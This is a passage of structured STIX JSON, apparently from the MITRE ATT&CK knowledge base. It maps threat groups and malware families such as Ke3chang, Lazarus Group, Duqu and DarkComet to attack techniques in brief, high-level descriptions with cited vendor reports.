"description": "QiAnXin Threat Intelligence Center. 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Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.476Z", "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has used ConfuserEx to obfuscate its variant of [Imminent Monitor](https://attack.mitre.org/software/S0434), compressed payload and RAT packages, and password protected encrypted email attachments to avoid detection.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b4e1a93-99ca-444d-bfc4-bc589a9a25a9", "created": "2020-06-19T19:08:40.378Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelOne Valak June 2020", "description": "Reaves, J. and Platt, J. (2020, June). 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Retrieved November 12, 2014.", "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}], "modified": "2021-11-01T21:12:14.621Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs service discovery using <code>net start</code> commands.(Citation: Mandiant Operation Ke3chang November 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b553858-ffee-4817-9033-b9ea06f71d43", "created": "2022-09-21T15:16:53.067Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). 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Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}], "modified": "2021-03-29T19:54:46.144Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) backdoor RoyalDNS established persistence through adding a service called <code>Nwsapagent</code>.(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b909310-43e8-4870-ab62-d6078f27a785", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Bisonal July 2018", "description": "Hayashi, K., Ray, V. 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(2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-17T01:37:29.803Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) can communicate over FTP.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7be0437f-1d0d-4df0-9e66-70e581cc5f1a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2018", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}], "modified": "2020-03-17T00:09:26.401Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can obtain running services on the victim.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7bf27f61-0191-4c20-ae96-96c38322470d", "type": "relationship", "created": "2021-10-11T18:53:48.810Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Bandook Nov 2020", "url": "https://research.checkpoint.com/2020/bandook-signed-delivered/", "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}], "modified": "2021-10-11T18:53:48.810Z", "description": "[Bandook](https://attack.mitre.org/software/S0234) has a command built in to use a raw TCP socket.(Citation: CheckPoint Bandook Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7bf67f44-6349-4576-8145-44e53a91676a", "type": "relationship", "created": "2020-03-11T14:58:52.196Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-11T14:58:52.196Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7bf6a452-db06-4b7a-b177-678fdf841fbf", "type": "relationship", "created": "2021-06-03T19:53:52.392Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. 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Retrieved December 7, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-27T18:03:37.575Z", "description": "[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has exploited multiple unpatched vulnerabilities for initial access including vulnerabilities in Microsoft Exchange, Manage Engine AdSelfService Plus, Confluence, and Log4j.(Citation: Microsoft Ransomware as a Service)(Citation: Microsoft Log4j Vulnerability Exploitation December 2021)(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7bfc7122-2dc2-4fd3-be98-2ab87ba4a530", "type": "relationship", "created": "2019-02-18T20:16:12.245Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", "description": "Sardiwal, M, et al. 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Retrieved December 20, 2017.", "source_name": "FireEye APT34 Dec 2017"}], "modified": "2019-04-23T19:32:14.748Z", "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses a DGA to communicate with command and control servers.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}], "modified": "2020-03-16T23:58:58.747Z", "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to retrieve metadata for files on disk as well as a command to list the current working directory.(Citation: CrowdStrike Putter Panda)", "relationship_type": "uses", "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c119557-d417-4708-a024-5be9c4d4d86c", "type": "relationship", "created": "2020-05-06T17:47:43.569Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert BlackTech Malware September 2019", "url": "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", "description": "Tomonaga, S.. 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Retrieved May 6, 2020."}], "modified": "2020-07-07T14:05:07.563Z", "description": "[TSCookie](https://attack.mitre.org/software/S0436) has the ability to proxy communications with command and control (C2) servers.(Citation: JPCert BlackTech Malware September 2019)", "relationship_type": "uses", "source_ref": "malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c18e59d-3448-462c-aaa7-bf03b9ea5780", "type": "relationship", "created": "2019-06-20T16:44:52.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Zebrocy May 2019", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}], "modified": "2019-07-17T01:18:33.176Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) runs the <code>ipconfig /all</code> command.(Citation: ESET Zebrocy May 2019)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7c1e0451-66d7-4445-9b8d-8d9770043421", "created": "2022-02-01T14:23:04.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Qualys LolZarus", "description": "Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"}, {"source_name": "Lazarus APT January 2022", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-14T13:38:19.862Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used VBA and embedded macros in Word documents to execute malicious code.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c1e2638-ca07-4825-b7e8-43690912ce74", "type": "relationship", "created": "2019-04-24T20:48:39.691Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door", "source_name": "Symantec Frutas Feb 2013"}], "modified": "2019-06-24T17:20:24.384Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can query and kill system processes.(Citation: Symantec Frutas Feb 2013)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c240038-5599-418a-83e4-6d9962eee0bd", "type": "relationship", "created": "2021-10-12T22:04:56.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant FIN5 GrrCON Oct 2016", "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"}], "modified": "2021-10-16T19:48:38.080Z", "description": "[FIN5](https://attack.mitre.org/groups/G0053) has obtained and used a customized version of [PsExec](https://attack.mitre.org/software/S0029), as well as use other tools such as [pwdump](https://attack.mitre.org/software/S0006), [SDelete](https://attack.mitre.org/software/S0195), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: Mandiant FIN5 GrrCON Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7c290539-09a9-4ff2-956a-d5026dba86a5", "created": "2023-09-20T18:05:19.435Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Telefonica Snip3 December 2021", "description": "Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.", "url": "https://telefonicatech.com/blog/snip3-investigacion-malware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-20T18:36:34.758Z", "description": "[AsyncRAT](https://attack.mitre.org/software/S1087) can identify strings such as Virtual, vmware, or VirtualBox to detect virtualized environments.(Citation: Telefonica Snip3 December 2021)", "relationship_type": "uses", "source_ref": "tool--6a5947f3-1a36-4653-8734-526df3e1d28d", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7c30237d-5d03-4f5f-9488-3629f2b1813c", "created": "2022-08-22T20:42:08.635Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "", "modified": "2022-08-22T20:42:08.635Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", "source_name": "Symantec W32.Duqu"}], "modified": "2020-03-16T15:43:57.779Z", "description": "[Duqu](https://attack.mitre.org/software/S0038) will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).(Citation: Symantec W32.Duqu)", "relationship_type": "uses", "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c3f8d37-e2da-45c3-8ef2-a067cd46d340", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye CARBANAK June 2017", "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}], "modified": "2020-02-11T15:55:06.402Z", "description": "[Carbanak](https://attack.mitre.org/software/S0030) encrypts strings to make analysis more difficult.(Citation: FireEye CARBANAK June 2017)", "relationship_type": "uses", "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c44064a-f697-413c-b0b1-a6b92bf3cfc3", "type": "relationship", "created": "2020-03-17T01:39:44.605Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "source_name": "Unit 42 Kazuar May 2017"}], "modified": "2020-03-17T01:39:44.605Z", "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses FTP and FTPS to communicate with the C2 server.(Citation: Unit 42 Kazuar May 2017)", "relationship_type": "uses", "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c58aab0-77cf-469e-836e-2b8c031afd1e", "type": "relationship", "created": "2019-01-30T13:53:14.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET GreyEnergy Oct 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}], "modified": "2019-04-17T22:22:22.015Z", "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) enumerates all Windows services.(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c593b6a-6426-4d8e-b98b-db02d1ec1025", "type": "relationship", "created": "2021-07-30T15:49:45.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybersecurity Advisory SVR TTP May 2021", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."}, {"source_name": "Bishop Fox Sliver Framework August 2019", "url": "https://labs.bishopfox.com/tech-blog/sliver", "description": "Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."}, {"source_name": "GitHub Sliver Encryption", "url": "https://github.com/BishopFox/sliver/wiki/Transport-Encryption", "description": "BishopFox. (n.d.). Sliver Transport Encryption. Retrieved September 16, 2021."}], "modified": "2021-10-16T02:16:55.534Z", "description": "[Sliver](https://attack.mitre.org/software/S0633) can use mutual TLS and RSA  cryptography to exchange a session key.(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver Encryption)", "relationship_type": "uses", "source_ref": "tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c606ccd-2a38-4498-8807-47f00685c203", "type": "relationship", "created": "2020-05-18T20:04:59.415Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-18T20:04:59.415Z", "description": "[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to identify the domain of the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--73c4711b-407a-449d-b269-e3b1531fe7a9", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c60bccc-f485-403d-ab3b-db861a3a4429", "type": "relationship", "created": "2019-01-29T19:18:28.637Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "source_name": "Malwarebytes DarkComet March 2018"}], "modified": "2019-06-04T19:40:43.615Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) can list active processes running on the victim\u2019s machine.(Citation: Malwarebytes DarkComet March 2018)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7c73e018-a001-4de1-a607-3add2242bd73", "created": "2022-03-24T11:46:08.672Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DRATzarus](https://attack.mitre.org/software/S0694) has been named `Flash.exe`, and its dropper has been named `IExplorer`.(Citation: ClearSky Lazarus Aug 2020)", "modified": "2022-04-17T18:27:35.733Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c755f6c-11a3-43f7-9117-d25694338a3a", "type": "relationship", "created": "2020-07-23T14:20:48.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave GoldenSpy June 2020", "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}], "modified": "2020-08-19T16:31:40.621Z", "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) can execute remote commands via the command-line interface.(Citation: Trustwave GoldenSpy June 2020)\t", "relationship_type": "uses", "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c776fbc-592a-4643-bd4f-423546a4732e", "type": "relationship", "created": "2021-02-10T20:45:20.021Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Windigo Mar 2014", "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021."}], "modified": "2021-02-11T15:52:59.223Z", "description": "[Windigo](https://attack.mitre.org/groups/G0124) has delivered a generic Windows proxy Win32/Glubteta.M. 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Retrieved March 13, 2024.", "url": 